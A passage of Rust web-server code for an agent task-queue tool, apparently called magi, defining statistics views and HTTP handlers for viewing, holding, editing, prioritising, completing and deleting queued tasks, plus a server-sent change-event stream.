7231            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7232        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7233        let view = match inv.as_ref() {
7234            Some(inv) => TaskView::with_inventory(task, inv),
7235            None => TaskView::from(task),
7236        }
7237        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7238        Ok(Json(view))
7239    })
7240    .await
7241}
7242
7243async fn task_detail(
7244    State(ui): State<Arc<Ui>>,
7245    Path(id): Path<String>,
7246) -> ApiResult<Json<TaskDetailView>> {
7247    blocking(move || {
7248        let id = resolve_task(&ui.queue, &id)?;
7249        let task = ui
7250            .queue
7251            .get(&id)
7252            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7253        let inv = if task.status == TaskStatus::Blocked {
7254            Some(crate::blockers::Inventory::load_for(
7255                &ui.queue,
7256                &ui.questions,
7257                &task,
7258            ))
7259        } else {
7260            None
7261        };
7262        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7263        mark_badges(&ui, &task, &mut history);
7264        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7265        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7266        let origin = task.followup.as_ref().map(|fu| {
7267            followup_origin(
7268                fu,
7269                |tid| ui.queue.get(tid).ok(),
7270                |rid| read_run(&ui.runs, rid).ok(),
7271            )
7272        });
7273        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7274        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7275        let task_view = match inv.as_ref() {
7276            Some(inv) => TaskView::with_inventory(task, inv),
7277            None => TaskView::from(task),
7278        }
7279        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7280        .with_recovery_decisions(&ui.questions);
7281        Ok(Json(TaskDetailView {
7282            max_attempts,
7283            flow,
7284            followup_origin: origin,
7285            passes_total: history.len(),
7286            runs_distinct: distinct_runs(&task_view.task.runs),
7287            history,
7288            runs_unreadable,
7289            attempts_note: ATTEMPTS_NOTE,
7290            task: task_view,
7291        }))
7292    })
7293    .await
7294}
7295
7296/// A rate together with its denominator, so the client can tell "computed as
7297/// 0%" apart from "no data to compute it from" — both would otherwise
7298/// serialize as `0.0`. `None` means the denominator was zero.
7299#[derive(Debug, Serialize)]
7300struct RateView {
7301    pct: f64,
7302    denominator: usize,
7303}
7304
7305impl RateView {
7306    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7307        (denominator > 0).then(|| Self {
7308            pct: 100.0 * numerator as f64 / denominator as f64,
7309            denominator,
7310        })
7311    }
7312}
7313
7314/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7315/// rates, each paired with its own denominator via [`RateView`] rather than
7316/// exposing `Stats`' own percentage methods directly — see this module's
7317/// doc for why `Stats` itself is never serialized.
7318#[derive(Debug, Serialize)]
7319struct StatsTotalsView {
7320    runs: usize,
7321    merged: usize,
7322    ready: usize,
7323    blocked: usize,
7324    failed: usize,
7325    stalled: usize,
7326    verified_noop: usize,
7327    superseded: usize,
7328    in_progress: usize,
7329    completion_rate: Option<RateView>,
7330    tallied: usize,
7331    split: usize,
7332    split_rate: Option<RateView>,
7333    deliberated: usize,
7334    minds_changed: usize,
7335    converged: usize,
7336    review_rounds: usize,
7337}
7338
7339impl From<&stats::Totals> for StatsTotalsView {
7340    fn from(t: &stats::Totals) -> Self {
7341        Self {
7342            runs: t.runs,
7343            merged: t.merged,
7344            ready: t.ready,
7345            blocked: t.blocked,
7346            failed: t.failed,
7347            stalled: t.stalled,
7348            verified_noop: t.verified_noop,
7349            superseded: t.superseded,
7350            in_progress: t.in_progress,
7351            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7352            tallied: t.tallied,
7353            split: t.split,
7354            split_rate: RateView::of(t.split, t.tallied),
7355            deliberated: t.deliberated,
7356            minds_changed: t.minds_changed,
7357            converged: t.converged,
7358            review_rounds: t.review_rounds,
7359        }
7360    }
7361}
7362
7363/// [`crate::stats::AgentStats`] for the wire.
7364#[derive(Debug, Serialize)]
7365struct AgentStatsView {
7366    agent: String,
7367    entered: usize,
7368    wins: usize,
7369    empty: usize,
7370    win_rate: Option<RateView>,
7371    competitive_entered: usize,
7372    competitive_wins: usize,
7373    competitive_win_rate: Option<RateView>,
7374    solo_entered: usize,
7375    solo_adopted: usize,
7376    solo_adoption_rate: Option<RateView>,
7377}
7378
7379impl From<&stats::AgentStats> for AgentStatsView {
7380    fn from(a: &stats::AgentStats) -> Self {
7381        Self {
7382            agent: a.agent.clone(),
7383            entered: a.entered,
7384            wins: a.wins,
7385            empty: a.empty,
7386            win_rate: RateView::of(a.wins, a.entered),
7387            competitive_entered: a.competitive_entered,
7388            competitive_wins: a.competitive_wins,
7389            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7390            solo_entered: a.solo_entered,
7391            solo_adopted: a.solo_adopted,
7392            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7393        }
7394    }
7395}
7396
7397/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7398/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7399/// value, `None` when `rounds` is zero.
7400#[derive(Debug, Serialize)]
7401struct ReviewerStatsView {
7402    agent: String,
7403    rounds: usize,
7404    seated: usize,
7405    submitted: usize,
7406    adopted: usize,
7407    unique: usize,
7408    timeouts: usize,
7409    adopted_per_round: Option<f64>,
7410    precision: Option<RateView>,
7411    unique_rate: Option<RateView>,
7412    timeout_rate: Option<RateView>,
7413}
7414
7415impl From<&stats::ReviewerStats> for ReviewerStatsView {
7416    fn from(r: &stats::ReviewerStats) -> Self {
7417        Self {
7418            agent: r.agent.clone(),
7419            rounds: r.rounds,
7420            seated: r.seated,
7421            submitted: r.submitted,
7422            adopted: r.adopted,
7423            unique: r.unique,
7424            timeouts: r.timeouts,
7425            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7426            precision: RateView::of(r.adopted, r.submitted),
7427            unique_rate: RateView::of(r.unique, r.submitted),
7428            timeout_rate: RateView::of(r.timeouts, r.seated),
7429        }
7430    }
7431}
7432
7433/// [`crate::stats::AdvisorStats`] for the wire.
7434///
7435/// `reflection_rate` is approximate by construction — see
7436/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7437/// that caveat is static text in `index.html`, not a field here.
7438#[derive(Debug, Serialize)]
7439struct AdvisorStatsView {
7440    agent: String,
7441    seated: usize,
7442    proposed: usize,
7443    absent: usize,
7444    faint: usize,
7445    strong: usize,
7446    reflection_rate: Option<RateView>,
7447}
7448
7449impl From<&stats::AdvisorStats> for AdvisorStatsView {
7450    fn from(a: &stats::AdvisorStats) -> Self {
7451        Self {
7452            agent: a.agent.clone(),
7453            seated: a.seated,
7454            proposed: a.proposed,
7455            absent: a.absent,
7456            faint: a.faint,
7457            strong: a.strong,
7458            reflection_rate: RateView::of(a.strong, a.proposed),
7459        }
7460    }
7461}
7462
7463/// [`crate::stats::E2eStats`] for the wire.
7464#[derive(Debug, Serialize)]
7465struct E2eStatsView {
7466    rounds: usize,
7467    failures: usize,
7468    sole_detections: usize,
7469    deferred: usize,
7470    sole_rate: Option<RateView>,
7471}
7472
7473impl From<&stats::E2eStats> for E2eStatsView {
7474    fn from(e: &stats::E2eStats) -> Self {
7475        Self {
7476            rounds: e.rounds,
7477            failures: e.failures,
7478            sole_detections: e.sole_detections,
7479            deferred: e.deferred,
7480            sole_rate: RateView::of(e.sole_detections, e.failures),
7481        }
7482    }
7483}
7484
7485/// [`crate::stats::ReleaseBumpStats`] for the wire.
7486///
7487/// `clean` is sent as a raw count, computed the same way
7488/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7489/// needs_attention`) — never derived client-side from `automerge_enabled`,
7490/// which would misclassify a `merged_directly` bump (automerge rejected, but
7491/// magi merged it directly, so no human involvement) as needing attention.
7492#[derive(Debug, Serialize)]
7493struct ReleaseBumpStatsView {
7494    merged: usize,
7495    recorded: usize,
7496    pr_opened: usize,
7497    automerge_enabled: usize,
7498    merged_directly: usize,
7499    needs_attention: usize,
7500    clean: usize,
7501    coverage_rate: Option<RateView>,
7502    automerge_rate: Option<RateView>,
7503    attention_rate: Option<RateView>,
7504}
7505
7506impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7507    fn from(b: &stats::ReleaseBumpStats) -> Self {
7508        Self {
7509            merged: b.merged,
7510            recorded: b.recorded,
7511            pr_opened: b.pr_opened,
7512            automerge_enabled: b.automerge_enabled,
7513            merged_directly: b.merged_directly,
7514            needs_attention: b.needs_attention,
7515            clean: b.clean(),
7516            coverage_rate: RateView::of(b.recorded, b.merged),
7517            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7518            attention_rate: RateView::of(b.needs_attention, b.recorded),
7519        }
7520    }
7521}
7522
7523/// [`crate::queue::TaskCounts`] for the wire.
7524#[derive(Debug, Serialize)]
7525struct TaskCountsView {
7526    queued: usize,
7527    running: usize,
7528    done: usize,
7529    failed: usize,
7530    held: usize,
7531    blocked: usize,
7532    parked: usize,
7533}
7534
7535impl From<crate::queue::TaskCounts> for TaskCountsView {
7536    fn from(c: crate::queue::TaskCounts) -> Self {
7537        Self {
7538            queued: c.queued,
7539            running: c.running,
7540            done: c.done,
7541            failed: c.failed,
7542            held: c.held,
7543            blocked: c.blocked,
7544            parked: c.parked,
7545        }
7546    }
7547}
7548
7549/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7550/// runs recorded — the summary the UI's repository selector is built from.
7551/// Carries no nested `Stats`: picking a repo means re-fetching
7552/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7553/// aggregation rather than duplicating it.
7554#[derive(Debug, Serialize)]
7555struct RepoSummaryView {
7556    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7557    /// against, full path and all (see [`stats_get`]'s own doc for why).
7558    repo: String,
7559    /// Display name only; never used for matching.
7560    name: String,
7561    runs: usize,
7562    completion_rate: Option<RateView>,
7563}
7564
7565impl From<&stats::RepoStats> for RepoSummaryView {
7566    fn from(r: &stats::RepoStats) -> Self {
7567        let t = &r.stats.totals;
7568        Self {
7569            repo: r.repo.to_string_lossy().into_owned(),
7570            name: r.name.clone(),
7571            runs: t.runs,
7572            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7573        }
7574    }
7575}
7576
7577/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7578/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7579/// renders from them) are free to grow without that becoming a wire-contract
7580/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7581/// data" from "computed and it really is zero" the way [`RateView`] does.
7582#[derive(Debug, Serialize)]
7583struct StatsView {
7584    totals: StatsTotalsView,
7585    /// Best win rate first, as [`stats::collect`] already sorts it.
7586    agents: Vec<AgentStatsView>,
7587    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7588    reviewers: Vec<ReviewerStatsView>,
7589    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7590    advisors: Vec<AdvisorStatsView>,
7591    e2e: E2eStatsView,
7592    release_bumps: ReleaseBumpStatsView,
7593    queue: Option<TaskCountsView>,
7594    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7595    /// that field's doc. Asserted to match it in
7596    /// `stats_runs_unreadable_matches_health`.
7597    ///
7598    /// Always the whole-workload count, even when `repo` narrows every other
7599    /// field to one repository - an unreadable `run.json` carries no `repo`
7600    /// a per-repository count could attribute it to, and the queue/health
7601    /// views this mirrors never scope it either. The UI must not present it
7602    /// as if it were scoped to the selected repository.
7603    runs_unreadable: usize,
7604    /// Every repository with runs recorded, most runs first - what the UI's
7605    /// repository selector is built from. Always the full list regardless of
7606    /// `repo`, so switching repositories never needs a second request.
7607    repos: Vec<RepoSummaryView>,
7608    /// Runs per local day over the last 30 days, oldest first, always 30
7609    /// entries. Days are the *server's* local dates (the UI must not convert
7610    /// them again), cut by run creation and classified by current status.
7611    /// Narrowed by `repo` like every other run-derived field.
7612    daily: Vec<DailyStatsView>,
7613    /// The `?repo=` value this response was narrowed to, echoed back so the
7614    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7615    /// all-repositories view.
7616    repo: Option<String>,
7617    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7618    /// current config roster no longer lists them. Empty with `?all=true`, an
7619    /// unreadable config, or when nothing was retired.
7620    retired_hidden: Vec<String>,
7621}
7622
7623/// One day of [`StatsView::daily`].
7624#[derive(Debug, Serialize)]
7625struct DailyStatsView {
7626    /// `YYYY-MM-DD`, server-local.
7627    date: String,
7628    runs: usize,
7629    merged: usize,
7630    ready: usize,
7631    other: usize,
7632    /// `None` on a day with no runs, so it never reads as 0%.
7633    completion_rate: Option<RateView>,
7634}
7635
7636impl From<&stats::DayBucket> for DailyStatsView {
7637    fn from(b: &stats::DayBucket) -> Self {
7638        Self {
7639            date: b.date.to_string(),
7640            runs: b.runs,
7641            merged: b.merged,
7642            ready: b.ready,
7643            other: b.other,
7644            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7645        }
7646    }
7647}
7648
7649/// How many days [`StatsView::daily`] covers.
7650const STATS_DAILY_DAYS: usize = 30;
7651
7652/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7653/// repository. Matched by full-path equality against `RunState.repo` only
7654/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7655/// `--repo` is, because the value here always came from this same route's
7656/// own `repos` list in an earlier response, never typed by a human. A value
7657/// matching no run is a 404, not an empty aggregate: the caller asked for a
7658/// specific, named repository, and silently returning zeroes would look
7659/// exactly like a repository that has runs but none of interest.
7660#[derive(Debug, Default, Deserialize)]
7661#[serde(default)]
7662struct StatsQuery {
7663    repo: Option<String>,
7664    /// `?all=true` keeps agents that are no longer in the roster.
7665    all: bool,
7666    /// The dashboard fetches queue counts independently of run history.
7667    runs_only: bool,
7668}
7669
7670/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7671/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7672/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7673/// prints from. Reads every readable run on disk, exactly as
7674/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7675/// a separately-maintained tally could.
7676async fn stats_get(
7677    State(ui): State<Arc<Ui>>,
7678    Query(q): Query<StatsQuery>,
7679) -> ApiResult<Json<StatsView>> {
7680    blocking(move || {
7681        let states: Vec<RunState> = run_ids(&ui.runs)
7682            .into_iter()
7683            .filter_map(|id| read_run(&ui.runs, &id).ok())
7684            .collect();
7685        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7686            .iter()
7687            .map(RepoSummaryView::from)
7688            .collect();
7689        let mut scoped: Vec<&RunState> = states.iter().collect();
7690        let mut collected = match &q.repo {
7691            Some(repo) => {
7692                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7693                if filtered.is_empty() {
7694                    return Err(ApiError::not_found(format!(
7695                        "no runs recorded against repo `{repo}`"
7696                    )));
7697                }
7698                scoped = filtered.clone();
7699                stats::collect_refs(filtered)
7700            }
7701            None => stats::collect(&states),
7702        };
7703        if !q.all {
7704            let repo = q
7705                .repo
7706                .as_deref()
7707                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7708            stats::retain_current_roster(&mut collected, &repo);
7709        }
7710        let daily = stats::daily(
7711            scoped,
7712            jiff::Zoned::now().date(),
7713            &jiff::tz::TimeZone::system(),
7714            STATS_DAILY_DAYS,
7715        );
7716        let queue_counts = (!q.runs_only)
7717            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7718        Ok(Json(StatsView {
7719            totals: StatsTotalsView::from(&collected.totals),
7720            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7721            reviewers: collected
7722                .reviewers
7723                .iter()
7724                .map(ReviewerStatsView::from)
7725                .collect(),
7726            advisors: collected
7727                .advisors
7728                .iter()
7729                .map(AdvisorStatsView::from)
7730                .collect(),
7731            e2e: E2eStatsView::from(&collected.e2e),
7732            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7733            queue: queue_counts,
7734            runs_unreadable: runs_unreadable(&ui.runs),
7735            repos,
7736            daily: daily.iter().map(DailyStatsView::from).collect(),
7737            repo: q.repo.clone(),
7738            retired_hidden: collected.retired_hidden.clone(),
7739        }))
7740    })
7741    .await
7742}
7743
7744/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7745/// gives no reason - which must keep working, since not every hold has one.
7746#[derive(Debug, Default, Deserialize)]
7747#[serde(default, deny_unknown_fields)]
7748struct HoldBody {
7749    reason: Option<String>,
7750}
7751
7752async fn queue_hold(
7753    State(ui): State<Arc<Ui>>,
7754    Path(id): Path<String>,
7755    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7756) -> ApiResult<Json<TaskView>> {
7757    // An absent body is the ordinary case - most holds are unexplained, and
7758    // that has to stay a one-tap action rather than a form. A body that is
7759    // present and malformed is still a bad request.
7760    let body = match body {
7761        Ok(Json(body)) => body,
7762        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7763        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7764    };
7765    let reason = body.reason.filter(|r| !r.trim().is_empty());
7766    mutate(ui, id, move |t| {
7767        t.hold_manual(reason.clone());
7768        Ok(())
7769    })
7770    .await
7771}
7772
7773#[derive(Deserialize)]
7774#[serde(deny_unknown_fields)]
7775struct ReassignBody {
7776    repo: PathBuf,
7777}
7778
7779async fn queue_reassign(
7780    State(ui): State<Arc<Ui>>,
7781    Path(id): Path<String>,
7782    Json(body): Json<ReassignBody>,
7783) -> ApiResult<Json<TaskView>> {
7784    let home = ui.home.clone();
7785    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7786        .await
7787        .map_err(ApiError::bad_request_from)?;
7788    let notes = crate::task_reassign::advisory_notes(&task, &home);
7789    let mut view = TaskView::from(task);
7790    view.reassignment_notes = notes;
7791    Ok(Json(view))
7792}
7793
7794async fn queue_release(
7795    State(ui): State<Arc<Ui>>,
7796    Path(id): Path<String>,
7797) -> ApiResult<Json<TaskView>> {
7798    mutate(ui, id, |t| {
7799        t.release_operator("web", None);
7800        Ok(())
7801    })
7802    .await
7803}
7804
7805#[derive(Debug, Deserialize)]
7806#[serde(deny_unknown_fields)]
7807struct AttemptLimitBody {
7808    // Required even when clearing: missing fields must not silently erase an override.
7809    attempt_limit: serde_json::Value,
7810}
7811
7812async fn queue_attempt_limit(
7813    State(ui): State<Arc<Ui>>,
7814    Path(id): Path<String>,
7815    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7816) -> ApiResult<Json<TaskView>> {
7817    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7818    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7819        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7820    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7821}
7822
7823#[derive(Debug, Deserialize)]
7824#[serde(deny_unknown_fields)]
7825struct ImplementersBody {
7826    implementers: u8,
7827}
7828
7829async fn queue_implementers(
7830    State(ui): State<Arc<Ui>>,
7831    Path(id): Path<String>,
7832    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7833) -> ApiResult<Json<TaskView>> {
7834    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7835    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7836}
7837
7838#[derive(Debug, Deserialize)]
7839#[serde(deny_unknown_fields)]
7840struct UrgentBody {
7841    urgent: bool,
7842}
7843
7844async fn queue_urgent(
7845    State(ui): State<Arc<Ui>>,
7846    Path(id): Path<String>,
7847    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7848) -> ApiResult<Json<TaskView>> {
7849    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7850    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7851}
7852
7853#[derive(Debug, Deserialize)]
7854#[serde(deny_unknown_fields)]
7855struct ImmediateBody {
7856    immediate: bool,
7857}
7858
7859async fn queue_immediate(
7860    State(ui): State<Arc<Ui>>,
7861    Path(id): Path<String>,
7862    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7863) -> ApiResult<Json<TaskView>> {
7864    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7865    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7866}
7867
7868/// The body of `POST /api/queue/{id}/priority`.
7869#[derive(Debug, Deserialize)]
7870#[serde(deny_unknown_fields)]
7871struct PriorityBody {
7872    priority: i32,
7873}
7874
7875/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7876///
7877/// [`Task::set_priority`] is the one place the "not while running" rule is
7878/// stated; this route only carries the body to it and lets its `Err` become
7879/// the 4xx the card shows.
7880async fn queue_priority(
7881    State(ui): State<Arc<Ui>>,
7882    Path(id): Path<String>,
7883    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7884) -> ApiResult<Json<TaskView>> {
7885    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7886    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7887}
7888
7889/// The body of `POST /api/queue/{id}/edit`.
7890#[derive(Debug, Deserialize)]
7891#[serde(deny_unknown_fields)]
7892struct EditBody {
7893    title: String,
7894    instruction: String,
7895    /// Save even though the new text names a branch, commit or pull request
7896    /// that unfinished work already owns.
7897    #[serde(default)]
7898    force: bool,
7899}
7900
7901/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7902/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7903/// that refusal's message is what the sheet shows back.
7904async fn queue_edit(
7905    State(ui): State<Arc<Ui>>,
7906    Path(id): Path<String>,
7907    body: std::result::Result<Json<EditBody>, JsonRejection>,
7908) -> ApiResult<Json<TaskView>> {
7909    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7910    // The judge is an agent call, so it is awaited here, outside the claim
7911    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7912    // remembered, and the save refuses if the task moved underneath it.
7913    let mut judged: Option<(String, PathBuf)> = None;
7914    if !body.force {
7915        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7916        let (id, text) = (id.clone(), body.instruction.clone());
7917        let (seen, hits) = blocking(move || {
7918            let id = resolve_task(&queue, &id)?;
7919            let t = queue.get(&id)?;
7920            if text == t.instruction {
7921                return Ok((None, Vec::new()));
7922            }
7923            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7924            Ok((Some((t.instruction, t.repo)), hits))
7925        })
7926        .await?;
7927        if let Some((_, repo)) = &seen {
7928            let cfg = crate::config::Config::discover(repo, None)
7929                .ok()
7930                .map(|(c, _)| c);
7931            let screened =
7932                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7933                    .await
7934                    .map_err(|dup| {
7935                        ApiError::conflict(dup.render(
7936                            "Nothing was saved. If it is not a duplicate, repeat the request \
7937                             with \"force\": true.",
7938                        ))
7939                    })?;
7940            if let crate::dupes::Screened::Unjudged(why) = screened {
7941                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7942            }
7943        }
7944        judged = seen;
7945    }
7946    let force = body.force;
7947    mutate(ui, id, move |t| {
7948        if !force && body.instruction != t.instruction {
7949            match &judged {
7950                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7951                _ => {
7952                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7953                }
7954            }
7955        }
7956        t.edit(body.title.clone(), body.instruction.clone())
7957    })
7958    .await
7959}
7960
7961#[derive(Debug, Default, Deserialize)]
7962#[serde(default, deny_unknown_fields)]
7963struct CompleteBody {
7964    reason: Option<String>,
7965    result: Option<String>,
7966    discard: bool,
7967}
7968
7969/// Close through the same audited merge/discard guard as the CLI.
7970async fn queue_done(
7971    State(ui): State<Arc<Ui>>,
7972    Path(id): Path<String>,
7973    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7974) -> ApiResult<Json<TaskView>> {
7975    let body = match body {
7976        Ok(Json(body)) => body,
7977        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7978        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7979    };
7980    let state = Arc::clone(&ui);
7981    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7982    let task = crate::task_completion::close_claimed(
7983        &ui.queue,
7984        &ui.home,
7985        claimed,
7986        crate::queue::CompletionActor::Web,
7987        body.reason,
7988        body.result,
7989        body.discard,
7990    )
7991    .await
7992    .map_err(ApiError::completion)?;
7993    Ok(Json(TaskView::from(task)))
7994}
7995
7996#[derive(Debug, Deserialize)]
7997#[serde(deny_unknown_fields)]
7998struct ReopenBody {
7999    reason: String,
8000}
8001
8002/// Restore a safely unlanded completion to Held, never straight to execution.
8003async fn queue_reopen(
8004    State(ui): State<Arc<Ui>>,
8005    Path(id): Path<String>,
8006    Json(body): Json<ReopenBody>,
8007) -> ApiResult<Json<TaskView>> {
8008    let state = Arc::clone(&ui);
8009    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8010    let task = crate::task_completion::reopen_claimed(
8011        &ui.queue,
8012        &ui.home,
8013        claimed,
8014        crate::queue::CompletionActor::Web,
8015        &body.reason,
8016    )
8017    .await
8018    .map_err(ApiError::completion)?;
8019    Ok(Json(TaskView::from(task)))
8020}
8021
8022/// `DELETE /api/queue/{id}`.
8023///
8024/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
8025/// names this task: a `running` status or an orphaned `.lock` left behind by a
8026/// killed daemon is a leftover, and treating either as authority made the
8027/// task undeletable from the phone for good. The associated runs, if any, are
8028/// kept: a run is self-contained history and not an appendage of the task.
8029async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8030    blocking(move || {
8031        let id = resolve_task(&ui.queue, &id)?;
8032        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8033        ui.queue
8034            .remove(&id, in_flight, &ui.questions)
8035            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8036        Ok(StatusCode::NO_CONTENT)
8037    })
8038    .await
8039}
8040
8041/// Resolve the operator's reference, then reload under the same claim a daemon takes.
8042fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8043    let id = resolve_task(queue, reference)?;
8044    let claim = queue.claim(&id).map_err(|e| {
8045        ApiError::conflict(format!(
8046            "{e:#} - a daemon is running this task, so it cannot be \
8047             changed from here yet; wait until it is released, then retry"
8048        ))
8049    })?;
8050    Ok((claim, queue.get(&id)?))
8051}
8052
8053/// Read a task, change it, write it back, under the queue's own lock.
8054///
8055/// Taking the same claim a daemon takes is what makes hold, release,
8056/// priority, edit, and done safe to press while magi is running: without it
8057/// the daemon's next save would land on top of the operator's change and
8058/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
8059/// both do, for a running task - and that refusal becomes the 4xx the card
8060/// shows, same as any other domain rule.
8061async fn mutate(
8062    ui: Arc<Ui>,
8063    id: String,
8064    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8065) -> ApiResult<Json<TaskView>> {
8066    blocking(move || {
8067        let task = {
8068            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8069            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8070                Ok(dup) => ApiError::conflict(dup.render(
8071                    "Nothing was saved. If it is not a duplicate, repeat the request with \
8072                     \"force\": true.",
8073                )),
8074                Err(e) => ApiError::bad_request_from(e),
8075            })?;
8076            ui.queue.put(&mut task)?;
8077            task
8078        };
8079        let inv = (task.status == TaskStatus::Blocked)
8080            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8081        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8082        let view = match inv.as_ref() {
8083            Some(inv) => TaskView::with_inventory(task, inv),
8084            None => TaskView::from(task),
8085        }
8086        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8087        Ok(Json(view))
8088    })
8089    .await
8090}
8091
8092/// The change stream: one revision number per store, on connect and whenever
8093/// any of them moves.
8094///
8095/// One shared worker scans stores; clients only forward its notifications.
8096async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8097    ui.monitor.ensure_worker(&ui);
8098    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8099    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8100
8101    let state = Arc::clone(&ui);
8102    tokio::spawn(async move {
8103        let initial_revisions = {
8104            let guard = match state.monitor.latest.lock() {
8105                Ok(g) => g,
8106                Err(p) => p.into_inner(),
8107            };
8108            guard.as_ref().map(|(r, _)| *r)
8109        };
8110        if let Some(revisions) = initial_revisions {
8111            let initial_payload = serde_json::json!({
8112                "queue_rev": revisions.0,
8113                "runs_rev": revisions.1,
8114                "questions_rev": revisions.2,
8115                "talks_rev": revisions.3,
8116                "notifications_rev": revisions.4,
8117                "loop_rev": revisions.5,
8118            });
8119
8120            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8121                if tx.send(event).await.is_err() {
8122                    return;
8123                }
8124            }
8125        }
8126
8127        loop {
8128            match tokio::select! {
8129                _ = tx.closed() => return,
8130                value = broadcast_rx.recv() => value,
8131            } {
8132                Ok(notif) => {
8133                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
8134                    else {
8135                        break;
8136                    };
8137                    if tx.send(event).await.is_err() {
8138                        break;
8139                    }
